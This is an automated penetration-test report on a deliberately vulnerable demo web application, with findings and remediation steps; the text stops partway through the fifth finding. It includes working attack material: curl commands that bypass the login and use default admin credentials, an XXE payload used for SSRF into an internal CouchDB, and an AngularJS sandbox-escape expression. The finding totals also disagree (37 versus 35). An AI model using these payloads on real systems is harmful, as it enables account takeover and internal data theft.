invicti

OctoAI

Pentest Report

Demo Pentest (python.testinvicti.com)

http://python.testinvicti.com/

Assessment completion date: July 30, 2026
Report generation date: August 5, 2026

Table of Contents

1. Executive Summary

2	12	17	4	2
CRITICAL	HIGH	MEDIUM	LOW	INFO

Purpose

An automated penetration test was conducted against the SecurityTweets web application hosted at http://python.testinvicti.com/. The assessment targeted all discoverable application endpoints, authentication mechanisms, client-side JavaScript, HTTP headers, and XML processing functionality using a fleet of specialized scanning agents. The objective was to identify exploitable vulnerabilities, evaluate the application's security posture, and provide actionable remediation guidance prioritized by business risk.

Vulnerabilities

The assessment identified 37 vulnerabilities across all severity tiers: 2 Critical, 12 High, 17 Medium, 4 Low, and 2 Informational. The Critical vulnerabilities represent a complete failure of the application's authentication controls: any anonymous user on the internet can gain full access to any account, including the administrative panel, without possessing valid credentials. These issues alone expose all user data, application content, and administrative functions to unauthorized access with no technical barrier.

The 12 High-severity vulnerabilities compound this exposure significantly. The password reset feature can be weaponized to read sensitive files from the server and reach internal backend systems that are not intended to be publicly accessible. Multiple attack vectors allow malicious scripts to execute within a victim's browser session, enabling account takeover and data theft. All user credentials and session data transit the network without encryption, making passive interception trivial for any attacker with a network vantage point. The 17 Medium and 4 Low vulnerabilities represent additional hardening gaps including outdated software libraries with known security flaws, missing browser security controls, and an open redirect that facilitates phishing attacks.

All 37 findings were verified via automated exploitation.

Conclusion

The application's security posture is critically deficient across every fundamental control domain: authentication, transport security, input handling, and software lifecycle management. The 2 Critical vulnerabilities require immediate remediation, as they grant any anonymous internet user unrestricted access to the application and all data it manages. The assessment reveals systemic patterns rather than isolated oversights: the absence of TLS, unsigned session tokens, missing output encoding, and a collection of end-of-life software components indicate that security was not a design consideration during development. Addressing the Critical and High vulnerabilities will eliminate the most direct

paths to data breach and unauthorized access; completing the full remediation roadmap and establishing ongoing security testing practices will bring the application to a defensible baseline.

2. Scope & Methodology

TARGET

http://python.testinvicti.com/

STARTED

2026-07-30 20:12 UTC

COMPLETED

2026-07-30 21:56 UTC

A black-box web application penetration test was conducted against the SecurityTweets application hosted at http://python.testinvicti.com/, encompassing all discovered endpoints, client-side JavaScript, HTTP headers, authentication mechanisms, and XML processing functionality.

Testing Methodology

The assessment was conducted as a fully automated black-box penetration test against http://python.testinvicti.com/, employing 452 specialized agents across 15 distinct testing disciplines. Agents operated concurrently after an initial reconnaissance phase established the application's topology, technology stack, and attack surface. All agents completed successfully. Testing spanned the period from 2026-07-30T20:27 UTC to 2026-07-30T21:52 UTC, approximately 85 minutes of active assessment.

Reconnaissance

The reconnaissance agent crawled the application to enumerate all accessible endpoints, AngularJS client-side routes, static assets, form parameters, and HTTP response headers. It identified the technology stack (nginx/1.14.0, Python/Flask, AngularJS 1.0.6, jQuery 1.9.1, CouchDB), mapped the authentication mechanisms protecting each endpoint, and produced the attack lead inventory that directed subsequent specialized agents.

Cross-Site Scripting (XSS)

XSS agents tested all discovered input parameters — including URL query parameters, POST body fields, cookie values, URL hash fragments, and DOM sources such as `window.name`, `window.location`, and `location.hash` — for both server-side reflected injection and client-side DOM-based injection. Agents confirmed exploitation by verifying controlled JavaScript execution in the browser context using marker variables and out-of-band signals.

XML External Entity Injection (XXE)

XXE agents targeted the `/forgotpw` endpoint, which accepts a raw XML request body, by injecting crafted `DOCTYPE` declarations with external entity references pointing to local filesystem paths and internal network addresses. Exploitation was confirmed through differential response analysis comparing file-present, file-absent, and entity-unreferenced conditions.

Server-Side Request Forgery (SSRF)

SSRF agents probed the same XML parsing endpoint using HTTP-scheme external entity references to enumerate internal network services. Agents used the binary open/closed port response oracle to confirm reachability of internal services, including the CouchDB instance on port 5984.

SQL Injection (SQLi)

SQL injection agents tested all parameterized inputs across the application for error-based, boolean-based, and time-based injection patterns. No SQL injection vulnerabilities were identified; the CouchDB document database backend does not expose a SQL query surface.

NoSQL Injection (NoSQLi)

NoSQL injection agents tested applicable parameters for operator injection patterns targeting CouchDB and MongoDB-style query interfaces. The `/comment`, `/like`, and `/contact` endpoints were tested; none returned differential responses to operator injection payloads, and no NoSQL injection vulnerabilities were identified.

Local File Inclusion (LFI)

LFI agents tested all path parameters and user-controlled inputs across static file serving routes and Flask application routes using PHP wrapper schemes, path traversal sequences at multiple depths, null-byte bypasses, and encoding variants. nginx's path normalization and the absence of file inclusion sinks in the Flask application prevented exploitation; no LFI vulnerabilities were identified.

Path Traversal

Path traversal agents independently tested URL path segments and query parameters for directory traversal sequences. nginx's request normalization blocked traversal attempts before they reached the application layer; no path traversal vulnerabilities were identified.

Server-Side Template Injection (SSTI)

SSTI agents tested all reflected input parameters for template expression evaluation in the Jinja2 rendering context. The Flask/Jinja2 backend does not evaluate user input as template expressions; no SSTI vulnerabilities were identified.

Command Injection (CMDi)

Command injection agents tested all input parameters for OS command injection patterns using shell metacharacters, command separators, and out-of-band callback techniques. No command injection vulnerabilities were identified.

Insecure Deserialization

Deserialization agents screened all input parameters for serialized object signatures across Java, .NET, Python pickle, Ruby Marshal, and PHP serialization formats before committing to active payload delivery. No serialized data was identified in any parameter across the application; deserialization testing was appropriately skipped for all inputs.

Brute Force

Brute force agents targeted the `/admin/` HTTP Basic Authentication endpoint and the `/login` form using common default credential lists. The `admin:secret` credential pair was confirmed valid against the administrative panel.

JWT Testing

JWT agents examined authentication tokens and session mechanisms for algorithm confusion, signature bypass, and weak secret vulnerabilities. The application does not use JWT tokens; session identity is managed through a plain, unsigned cookie.

IDOR / BOLA

IDOR agents evaluated object-level access control on endpoints accepting document identifier parameters. The `/report?id=` endpoint was confirmed to return CouchDB documents without authentication. The `/admin/` panel was identified as a broken function-level access control candidate but lacked an exportable request template for automated testing.

Application-Specific Testing

Application-specific agents performed targeted manual-style testing informed by the reconnaissance findings, confirming the authentication bypass on `/login`, the XXE and SSRF chain on `/forgotpw`, the cookie-based XSS vectors, and the open redirect in `redir.html`.

Endpoints Tested (10)

#	ENDPOINT
1	http://python.testinvicti.com/
2	http://python.testinvicti.com/admin/
3	http://python.testinvicti.com/ajax/popular
4	http://python.testinvicti.com/comment
5	http://python.testinvicti.com/contact
6	http://python.testinvicti.com/forgotpw
7	http://python.testinvicti.com/like
8	http://python.testinvicti.com/login
9	http://python.testinvicti.com/report
10	http://python.testinvicti.com/static/app/partials/redir.html

3. Attack Surface Analysis

TECHNOLOGIES

nginx/1.14.0 (Ubuntu) Python/Flask AngularJS 1.0.6 jQuery 1.9.1 Bootstrap 2.3.1 CouchDB

CRAWL RESULTS

10

Entry Points

Reconnaissance identified 10 distinct URL endpoints and a set of AngularJS client-side routes constituting the application's full attack surface. Server-side endpoints include the application root (`/`), authentication endpoints (`/login` , `/forgotpw` , `/logout`), a protected administrative panel (`/admin/`), a contact form (`/contact`), content interaction endpoints (`/comment` , `/like` , `/report`) accepting an `id` query parameter, and JSON data feeds (`/ajax/popular` , `/ajax/latest` , `/ajax/archive`). Client-side routes handled by the AngularJS router include `#/popular` , `#/latest` , `#/archive` , `#/carousel` , `#/redir` , `#/about` , `#/contact` , and `#/all/filter/:filter` . Static assets are served from the `/static/` directory tree by nginx directly.

Authentication Mechanisms

2 distinct authentication mechanisms protect different parts of the application. The `/admin/` panel is protected by HTTP Basic Authentication, which the reconnaissance agent bypassed immediately using the default credential pair `admin:secret` . The main application uses a cookie-based session mechanism: the `/login` endpoint issues a `Set-Cookie: username=<submitted_value>` header after any POST request, regardless of whether the submitted credentials are valid or the account exists. The cookie carries no `HttpOnly` , `Secure` , or `SameSite` attributes, and its value is the raw plaintext username rather than a signed or opaque session token. This design means session identity is entirely attacker-controlled at the client side.

Technology Stack

The application runs on a Python/Flask backend served behind nginx/1.14.0 (Ubuntu). The frontend is a single-page application built on AngularJS 1.0.6, jQuery 1.9.1, and Bootstrap 2.3.1. The backend data store is CouchDB, confirmed by the MD5-style hexadecimal document identifiers (`_id`) and revision tokens (`_rev`) returned in API responses from `/ajax/popular` . The application source files are accessible at `/proc/self/cwd/app.py` and `/proc/self/cwd/config.py` on the server filesystem, confirmed via the XXE file-read primitive at `/forgotpw` . The nginx version is disclosed verbatim in every HTTP response via the `Server: nginx/1.14.0 (Ubuntu)` header.

XML Processing Surface

The `/forgotpw` endpoint accepts a raw `text/xml` POST body constructed by the client-side `post.js` script as `<forgot><username>{value}</username></forgot>` . This endpoint passes the body directly to an XML parser with external entity resolution enabled, creating the XXE and SSRF attack surface documented in INV-14, INV-5, and INV-6. The parser resolves both `file://` and `http://` scheme entity references, enabling arbitrary file read and internal network access respectively. The internal CouchDB service on `127.0.0.1:5984` was confirmed reachable through this channel.

Client-Side JavaScript

The application's AngularJS templates contain several notable security-relevant patterns identified during reconnaissance. `itemsList.html` uses the `ng-bind-html-unsafe` directive to render the `pageStr` variable, which is populated directly from the `$routeParams.page` URL hash parameter without sanitization. `redir.html` extracts a URL from the hash fragment and assigns it to `window.location` without any origin validation. The `sessvars.js` library passes the `window.name` property into an `eval()` call. `post.js` reads the `username` cookie and passes it to a jQuery `.html()` sink. These client-side patterns collectively produce the DOM-based XSS vectors documented in INV-9, INV-10, INV-11, INV-27, and INV-28.

Notable Observations

The application self-identifies as a deliberately vulnerable test application ("SecurityTweets"), with the page footer declaring XSS and XXE vulnerabilities. Despite this, the assessment treats all findings as production-representative for reporting purposes. No session cookies are issued on unauthenticated pages. The `/login` and `/forgotpw` endpoints return HTTP 405 on GET requests, confirming POST-only operation. The CORS header `Access-Control-Allow-Origin: *` is present on all responses from the application root. No Content Security Policy header is present on any endpoint.

4. OWASP Top 10:2025 Coverage

This assessment was evaluated against the **OWASP Top 10:2025** framework. The table below shows which categories had vulnerabilities identified during testing.

ID	CATEGORY	STATUS	VULNERABILITIES
A01:2025	Broken Access Control	Vulnerabilities Found	5
A02:2025	Security Misconfiguration	Vulnerabilities Found	4
A03:2025	Software Supply Chain Failures	Vulnerabilities Found	2
A04:2025	Cryptographic Failures	Vulnerabilities Found	4
A05:2025	Injection	Vulnerabilities Found	16
A06:2025	Insecure Design	Vulnerabilities Found	2
A07:2025	Authentication Failures	Vulnerabilities Found	3
A08:2025	Software or Data Integrity Failures	None Found	0
A09:2025	Security Logging and Alerting Failures	None Found	0
A10:2025	Mishandling of Exceptional Conditions	None Found	0

5. Vulnerabilities Overview

#	SEVERITY	TITLE
1	CRITICAL	Authentication Bypass via Missing Credential Validation on Login Endpoint
2	CRITICAL	Default Credentials on Administrative Panel (`/admin/` HTTP Basic Auth)
3	HIGH	Client-Side Template Injection via Outdated AngularJS 1.0.6
4	HIGH	Basic Authentication Credentials Transmitted in Cleartext over HTTP
5	HIGH	Server-Side Request Forgery via XXE Entity Expansion at Password Reset Endpoint
6	HIGH	Server-Side Request Forgery via XXE Entity Resolution Enabling Internal Port Scanning
7	HIGH	Weak Password Policy: Default Credentials on Admin Panel
8	HIGH	Reflected XSS via `id` Parameter Breaking Out of HTML Comment Context
9	HIGH	DOM-Based XSS via `location.hash` Injection into AngularJS Route HTML Sink
10	HIGH	DOM-Based XSS via `window.location` Source
11	HIGH	DOM-Based XSS via `window.name` Source in `eval()` Sink
12	HIGH	AngularJS Client-Side Template Injection via `lastName` Parameter at Contact Endpoint
13	HIGH	Reflected XSS via `username` Cookie Rendered Unescaped in Navigation Bar
14	HIGH	XML External Entity (XXE) Injection via XML Body in Password Reset Endpoint
15	MEDIUM	Client-Side Template Injection XSS via Outdated AngularJS 1.0.6
16	MEDIUM	Outdated AngularJS Version with Known Sandbox Escape and XSS Vulnerabilities
17	MEDIUM	Missing HttpOnly, Secure, and SameSite Flags on Session Cookie at Login Endpoint
18	MEDIUM	Reflected XSS via `username` Cookie Rendered Unescaped in HTML
19	MEDIUM	Host Header Injection via X-Forwarded-Host in Link Tag Resource URL
20	MEDIUM	Cleartext Transmission of Sensitive Data over Unencrypted HTTP
21	MEDIUM	Prototype Pollution via Outdated jQuery 1.9.1 on Root Page
22	MEDIUM	DOM-Based Cross-Site Scripting via Outdated jQuery 1.9.1
23	MEDIUM	Open Redirect via Unvalidated Hash Fragment URL Parameter
24	MEDIUM	Cleartext Transmission of Credentials Over Unencrypted HTTP
25	MEDIUM	Cleartext Transmission of Sensitive Data Over Unencrypted HTTP (No TLS)
26	MEDIUM	Outdated jQuery Library with Known XSS Vulnerabilities (CVE-2020-11022, CVE-2020-11023)

#	SEVERITY	TITLE
27	MEDIUM	DOM-Based XSS via AngularJS `ng-bind-html-unsafe` in Hash Route Parameter
28	MEDIUM	DOM-Based XSS via `username` Cookie Value in jQuery `.html()` Sink
29	MEDIUM	Reflected XSS via HTML Comment Breakout in `id` Parameter
30	MEDIUM	Reflected XSS via HTML Comment Breakout in `id` Parameter on /like Endpoint
31	MEDIUM	Reflected XSS via HTML Comment Breakout in `id` Parameter on Report Endpoint
32	LOW	Clickjacking Exposure via Missing Framing Protection Headers on Application Root
33	LOW	Clickjacking via Absent X-Frame-Options and CSP frame-ancestors on Root Page
34	LOW	Permissive Wildcard CORS Policy on Application Root
35	LOW	CouchDB Internal Metadata Exposure in Public API Responses

6. Detailed Vulnerabilities

35 issues identified across 22 parameters

INV-1

Authentication Bypass via Missing Credential Validation on Login Endpoint

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Authentication	CWE-306

ENDPOINT
http://python.testinvicti.com/login

PARAMETER	CVSS 4.0
username, password	9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Payload used:

```
username=anyuser&password=anypass
```

Observed:

The /login endpoint accepts ANY username/password combination without verification. Testing shows: admin:secret 302 + cookie, admin:wrong 302 + cookie, anyuser:anypass 302 + cookie, test:(empty) 302 + cookie. All return Set-Cookie with the provided username. The cookie is then used to display 'Welcome admin' on the main page. No actual credential validation occurs.

HTTP TRANSACTION

REQUEST

```
POST /login HTTP/1.1
Host: python.testinvicti.com
Content-Type: application/x-www-form-urlencoded

username=anyuser&password=anypass
```

RESPONSE

```
HTTP/1.1 302 FOUND
Server: nginx/1.14.0 (Ubuntu)
Location: http://python.testinvicti.com/
Set-Cookie: username=anyuser; Path=/
Content-Type: text/html; charset=utf-8

(Same response regardless of credentials - no authentication check performed)
```

STEPS TO REPRODUCE

1. Send a POST request with completely fabricated credentials:

   ```
   curl -s -D - -o /dev/null -X POST -d 'username=fakeuser&password=wrongpass'
   http://python.testinvicti.com/login
   ```

   The server responds with 302 FOUND, a Location: http://python.testinvicti.com/ header, and Set-Cookie: username=fakeuser; Path=/ — proving no credential validation occurs.

2. Send a POST request with the admin username but an incorrect password:

   ```
   curl -s -D - -o /dev/null -X POST -d 'username=admin&password=totallyWrongPassword123'
   http://python.testinvicti.com/login
   ```

   The server responds identically with Set-Cookie: username=admin; Path=/, confirming the password is never checked.

3. Visit the application root with the forged cookie to confirm privilege escalation:

   ```
   curl -s -b 'username=admin' http://python.testinvicti.com/ | grep -i 'welcome'
   ```

   The page displays Welcome admin, demonstrating full account takeover without valid credentials.

SEVERITY JUSTIFICATION

Critical severity because any unauthenticated remote attacker can impersonate any user (including admin) with zero complexity — no valid credentials, no user interaction, and no special privileges are required. This completely breaks the authentication boundary of the application.

DISCOVERY & EXPLOITATION

The login endpoint at `/login` accepts the `username` and `password` parameters but performs no server-side validation against any credential store. The application issues a session cookie whose value is set directly to the submitted `username` parameter, regardless of whether the password is correct or the account exists at all. This means the authentication decision is made entirely by the client: any value submitted in the `username` field becomes the authenticated identity. Submitting fabricated credentials results in an identical `302 Found` redirect and a valid session cookie as submitting correct ones, confirmed by two independent validation steps — one using a wholly invented username and one using `admin` with a deliberately wrong password, both of which returned `Set-Cookie: username=<submitted_value>`.

An unauthenticated attacker requires no prior knowledge, no brute-force tooling, and no network positioning to exploit this. By submitting any POST request to `/login` with `username=admin`, the attacker receives a session cookie granting full administrative identity. Because the session cookie is unsigned and unprotected, the attacker can also forge identity for any other account by name without ever interacting with the login form — directly setting the `username` cookie in their browser is sufficient to impersonate any user in the system.

IMPACT ANALYSIS

This vulnerability eliminates the application's authentication boundary entirely. Any remote, unauthenticated party can assume the identity of any user, including administrative accounts, with a trivial single request. All data accessible to authenticated users — including any personally identifiable information, financial records, or configuration data — is exposed to unauthorized access without any exploitation complexity. From a regulatory standpoint, this constitutes a failure of access control that would be reportable under GDPR Article 32 (appropriate technical measures to ensure data security), PCI-DSS Requirement 8 (identify and authenticate access), and HIPAA Security Rule §164.312(d) if health data is in scope. The absence of any authentication enforcement also means that audit logs, if present, are meaningless: any action attributed to a user account cannot be trusted as originating from a legitimate account holder, undermining non-repudiation across the entire application.

REMEDIATION

1. Implement server-side credential validation on the `/login` endpoint — compare the submitted `username` and `password` against a secure credential store (e.g., hashed passwords in a database) before issuing a session cookie.
2. Replace the plain-text `username` cookie with a cryptographically signed session token (e.g., Flask's `session` with `SECRET_KEY`) so that users cannot forge identity by setting an arbitrary cookie value.
3. Add account lockout or rate-limiting after repeated failed login attempts to prevent brute-force attacks.
4. Return a `401 Unauthorized` or re-render the login form with an error message when credentials are invalid, instead of issuing a redirect with a session cookie.
5. Long-term, integrate an authentication framework such as Flask-Login with proper password hashing (bcrypt/argon2) and enforce authentication checks on all protected routes.

INV-2

Default Credentials on Administrative Panel (`/admin/` HTTP Basic Auth)

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Access Control	CWE-798

ENDPOINT
http://python.testinvicti.com/admin/

PARAMETER	CVSS 4.0
Authorization (HTTP Basic)	9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EVIDENCE

Payload used:

admin:secret

Observed:

The admin panel at /admin/ is protected by HTTP Basic Authentication but uses default credentials admin:secret. Without credentials: 401 UNAUTHORIZED. With admin:secret: 200 OK, full admin dashboard access with Users, Pages, Files sections.

HTTP TRANSACTION

REQUEST

```
GET /admin/ HTTP/1.1
Host: python.testinvicti.com
Authorization: Basic YWRtaW46c2VjcmV0
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: nginx/1.14.0 (Ubuntu)

<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/html" data-ng-app="itemsApp">
<head>
   <title>SecurityTweets - Administrative Page</title>
...
Admin Dashboard
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the admin panel without credentials and confirm it requires authentication:

```
curl -s --compressed http://python.testinvicti.com/admin/
```

Expected: HTTP 401 UNAUTHORIZED response with "Could not verify your access level" message.

2. Send a GET request with the default credentials admin:secret and confirm full admin access:

```
curl -s --compressed -u admin:secret http://python.testinvicti.com/admin/
```

Expected: HTTP 200 OK response containing "SecurityTweets - Administrative Page" and "Admin Dashboard".

3. Verify that incorrect credentials are properly rejected:

```
curl -s --compressed -u admin:wrongpassword http://python.testinvicti.com/admin/
```

Expected: HTTP 401 UNAUTHORIZED response with "Could not verify" message, confirming the issue is specifically with the known default password secret.

SEVERITY JUSTIFICATION

Default credentials allow any unauthenticated remote attacker to gain full administrative access with no complexity or user interaction required. This grants complete control over the application's confidentiality, integrity, and availability.

DISCOVERY & EXPLOITATION

The assessment agent submitted the credential pair `admin:secret` against the HTTP Basic Authentication prompt protecting `/admin/`. The application returned HTTP 200 with the full administrative dashboard, while an intentionally incorrect credential pair returned HTTP 401, confirming that the default credentials are both valid and sufficient for complete administrative access. No additional authentication factors, IP restrictions, or account lockout mechanisms are in place to impede access.

An unauthenticated remote attacker requires no tooling beyond a browser or a single HTTP request to gain full administrative control of the application. The credentials are trivially guessable from common default-credential lists and require zero reconnaissance. Once authenticated, the attacker has unrestricted access to all administrative functions, including user management, content manipulation, and any configuration or data exposed through the admin interface.

IMPACT ANALYSIS

Unrestricted administrative access obtained with publicly known default credentials represents a complete collapse of the application's access control boundary. Any data managed through the admin panel, including user records, application content, and configuration, is fully exposed to unauthorized read and modification. An attacker can alter or destroy application data, escalate privileges across the platform, or use the administrative interface as a foothold for further internal compromise. For applications handling personal data, this constitutes a reportable breach under GDPR Article 33, and where payment or health data is in scope, PCI-DSS and HIPAA obligations are similarly triggered. The

reputational and regulatory consequences of a breach originating from default credentials, a control failure with no technical complexity, are compounded by the clear evidence of absent security governance.

REMEDIATION

1. Immediately change the admin password from `secret` to a strong, unique password (minimum 16 characters with mixed case, numbers, and symbols).
2. Remove any hardcoded credentials from the application source code and configuration files; use environment variables or a secrets manager instead.
3. Implement account lockout or rate limiting on the `/admin/` endpoint to prevent brute-force attacks.
4. Add multi-factor authentication (MFA) for administrative access.
5. Long-term: integrate a credential scanning tool (e.g., `trufflehog`, `detect-secrets`) into CI/CD to prevent default or hardcoded credentials from reaching production.

INV-3

Client-Side Template Injection via Outdated AngularJS 1.0.6

HIGH

SEVERITY	CATEGORY	CWE
High	Vulnerable and Outdated Components	CWE-20

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

```
angularjs v1.0.6-1.0.6
```

STEPS TO REPRODUCE

1. Navigate to http://python.testinvicti.com/ in a browser and inspect the page source or loaded JavaScript files to identify the AngularJS version string.
2. Confirm the presence of AngularJS v1.0.6 by checking for the version identifier in the response body or in the angular.js / angular.min.js file served by the application. The evidence shows angularjs v1.0.6-1.0.6.
3. Verify exploitability by injecting an AngularJS template expression in any user-input field rendered by AngularJS (e.g., {{1+1}}). If the output renders 2 instead of the literal string, the application is vulnerable to client-side template injection due to the outdated library's lack of proper input validation.

SEVERITY JUSTIFICATION

AngularJS 1.0.6 is severely outdated and contains known improper input validation vulnerabilities that allow client-side template injection, potentially leading to cross-site scripting with full session compromise. The attack requires user interaction (visiting a crafted URL) but no privileges, justifying a high severity rating.

DISCOVERY & EXPLOITATION

The DAST agent fingerprinted the AngularJS framework version directly from application response content, identifying version 1.0.6 — a release that predates the AngularJS sandbox and lacks the input validation controls introduced in later versions. This version is associated with CVE-2022-25869 and a class of documented template injection vulnerabilities in which AngularJS evaluates attacker-controlled expressions embedded in the page's template context. Because the framework processes double-curly-brace expressions as executable code rather than inert text, any user-supplied input rendered within the template scope becomes an execution vector without requiring server-side code changes.

An unauthenticated attacker delivers a crafted URL containing a sandbox-escaping AngularJS expression — such as constructor chain payloads — to a victim user. When the victim's browser loads the page, AngularJS evaluates the injected expression in the context of the application's scope, executing arbitrary JavaScript. From that position, the attacker harvests session tokens, performs actions on behalf of the victim, or pivots to further attacks against authenticated functionality. The absence of a Content Security Policy on this application removes the last browser-enforced barrier that would otherwise block inline script execution.

IMPACT ANALYSIS

Successful exploitation grants an attacker arbitrary JavaScript execution within the victim's browser session, enabling session token theft and full account takeover for any user who follows a crafted link. Because the application's session cookies lack the Secure flag and the site is served entirely over unencrypted HTTP, a stolen session token is trivially reusable without additional effort. The outdated library version also signals an absence of software lifecycle management: AngularJS 1.0.6 reached end-of-life years before the current assessment date, meaning no security patches are forthcoming and the exposure surface will only grow as new bypass techniques are published. For any application handling user data, this condition creates direct exposure under GDPR Article 32, which requires technical measures to ensure ongoing confidentiality and integrity of processing systems. Remediation requires a framework migration rather than a simple patch, representing meaningful engineering investment if deferred.

REMEDIATION

1. Upgrade AngularJS from version 1.0.6 to the latest stable release (1.8.x or later), or migrate to a modern framework such as Angular 2+ which has built-in security improvements.
2. If immediate upgrade is not possible, implement a Content Security Policy (CSP) header that restricts inline script execution to mitigate template injection attacks: `Content-Security-Policy: default-src 'self'; script-src 'self'` .
3. Sanitize all user-controlled inputs that are rendered within AngularJS templates using `$sce.trustAsHtml()` only after explicit validation, and avoid using `ng-bind-html-unsafe` .
4. Remove or restrict the use of AngularJS sandbox-escaping expressions (e.g., `{{constructor.constructor('alert(1)')()}}`) by validating template expressions server-side.
5. Integrate Software Composition Analysis (SCA) tooling (e.g., Snyk, OWASP Dependency-Check) into your CI/CD pipeline to detect outdated or vulnerable JavaScript libraries before deployment.

INV-4

Basic Authentication Credentials Transmitted in Cleartext over HTTP

HIGH

SEVERITY	CATEGORY	CWE
High	Security Misconfiguration	CWE-319

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

Pages with basic authentication over HTTP:
http://python.testinvicti.com/admin/

HTTP TRANSACTION

REQUEST

```
GET /admin/ HTTP/1.1
Host: python.testinvicti.com
Cookie: username=admin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 401 UNAUTHORIZED
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
WWW-Authenticate: Basic realm="Login Required"
Content-Length: 90

Could not verify your access level for that URL.
You have to login with proper credentials
```

STEPS TO REPRODUCE

1. Send a GET request to the admin endpoint over plain HTTP:

   ```
   curl -v http://python.testinvicti.com/admin/
   ```

   The server responds with HTTP 401 and a WWW-Authenticate: Basic realm="Login Required" header, confirming that Basic Authentication is solicited over an unencrypted channel.

2. Attempt authentication with credentials over HTTP:

```
curl -v -u admin:password http://python.testinvicti.com/admin/
```

Observe that the Authorization: Basic <base64> header is transmitted in cleartext. Any network observer (e.g., using Wireshark or tcpdump) can decode the Base64 value to recover the username and password.

SEVERITY JUSTIFICATION

Credentials are transmitted in Base64 (trivially reversible) over unencrypted HTTP, allowing any network-positioned attacker to intercept them. The attack requires network proximity (AT:P) but no privileges or user interaction, and directly compromises confidentiality of authentication secrets.

DISCOVERY & EXPLOITATION

The DAST agent identified that the application root at `http://python.testinvicti.com/` issues a `WWW-Authenticate: Basic` challenge over plain HTTP with no TLS layer present. HTTP Basic Authentication encodes credentials as a Base64 string in the `Authorization` request header — a scheme that provides no confidentiality, as Base64 is a reversible encoding, not encryption. Any attacker with a network-positioned vantage point (shared network segment, rogue access point, compromised upstream router, or passive tap on unencrypted transit) captures the raw credential string and decodes it in a single step.

An attacker positioned on the same network path intercepts a single HTTP exchange to obtain valid credentials in plaintext. Those credentials can then be replayed directly against the application or tested against other services, since credential reuse across systems is common. Given that the assessment separately confirmed the admin panel accepts default credentials, intercepted credentials compound the authentication failures already present in the application, providing an additional, passive route to privileged access that requires no active exploitation of the target itself.

IMPACT ANALYSIS

Any credential submitted to this application, including administrative passwords, transits the network without encryption and is recoverable by any party observing the connection. This exposure is not theoretical: the application serves a `WWW-Authenticate: Basic` header, meaning browsers and HTTP clients will automatically transmit credentials on every subsequent request to the protected resource, multiplying interception opportunities across the full session lifetime. From a regulatory standpoint, transmitting authentication secrets over unencrypted channels violates the transport security requirements of PCI-DSS (Requirement 4.2.1), HIPAA Security Rule technical safeguard provisions, and GDPR's obligation to implement appropriate technical measures protecting personal data. Operationally, a single passive interception event yields credentials that grant direct access to application functionality, with no attack tooling or vulnerability exploitation required beyond network observation. The absence of TLS across the entire application, documented as a cross-cutting theme in this assessment, means this risk applies to every authenticated interaction, not only the initial login exchange.

REMEDIATION

1. Enforce HTTPS (TLS 1.2+) on all endpoints that require authentication, including `/admin/`, by configuring the nginx server block with `ssl` directives and a valid certificate.
2. Add an HTTP-to-HTTPS redirect rule in nginx: `return 301 https://$host$request_uri;` for all port 80 traffic.
3. Set the `Strict-Transport-Security` header (e.g., `add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";`) to prevent future cleartext connections.
4. Replace Basic Authentication with a token-based mechanism (e.g., session cookies with `Secure` and `HttpOnly` flags) so credentials are never sent in every request header.
5. Long-term, enforce TLS-only policies via CI/CD checks or infrastructure-as-code templates that reject HTTP-only listener configurations.

INV-5

Server-Side Request Forgery via XXE Entity Expansion at Password Reset Endpoint

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-918

ENDPOINT
http://python.testinvicti.com/forgotpw

PARAMETER
username (XML body entity)

CVSS 4.0
9.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:N/SA:N

EVIDENCE

Payload used:

```
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:5984/">]><forgot>
<username>&xxe;</username></forgot>
```

Observed:

XXE-based SSRF confirmed via differential responses. The XML entity with http://127.0.0.1:5984/ (CouchDB) returns content (newline, indicating successful connection), while closed ports (80, 8080, 22, 9999, 3306, 6379, 27017) return 'unknown' (connection failed). This proves the server makes HTTP requests to internal services. CouchDB endpoints /, /_all_dbs, /_config, /_users/_all_docs are all accessible via this SSRF.

HTTP TRANSACTION

REQUEST

```
POST /forgotpw HTTP/1.1
Host: python.testinvicti.com
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:5984/">]><forgot>
<username>&xxe;</username></forgot>
```

RESPONSE

```
Open port (5984 - CouchDB):
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Content-Length: 1

\n

Closed port (9999):
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
```

```
Content-Type: text/html; charset=utf-8
Content-Length: 7

unknown
```

STEPS TO REPRODUCE

1. Send a POST request to the /forgotpw endpoint with an XXE payload targeting the internal CouchDB service on port 5984:

   ```
   curl -s -X POST -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:5984/">]><forgot><username>&xxe;</username></forgot>' http://python.testinvicti.com/forgotpw
   ```

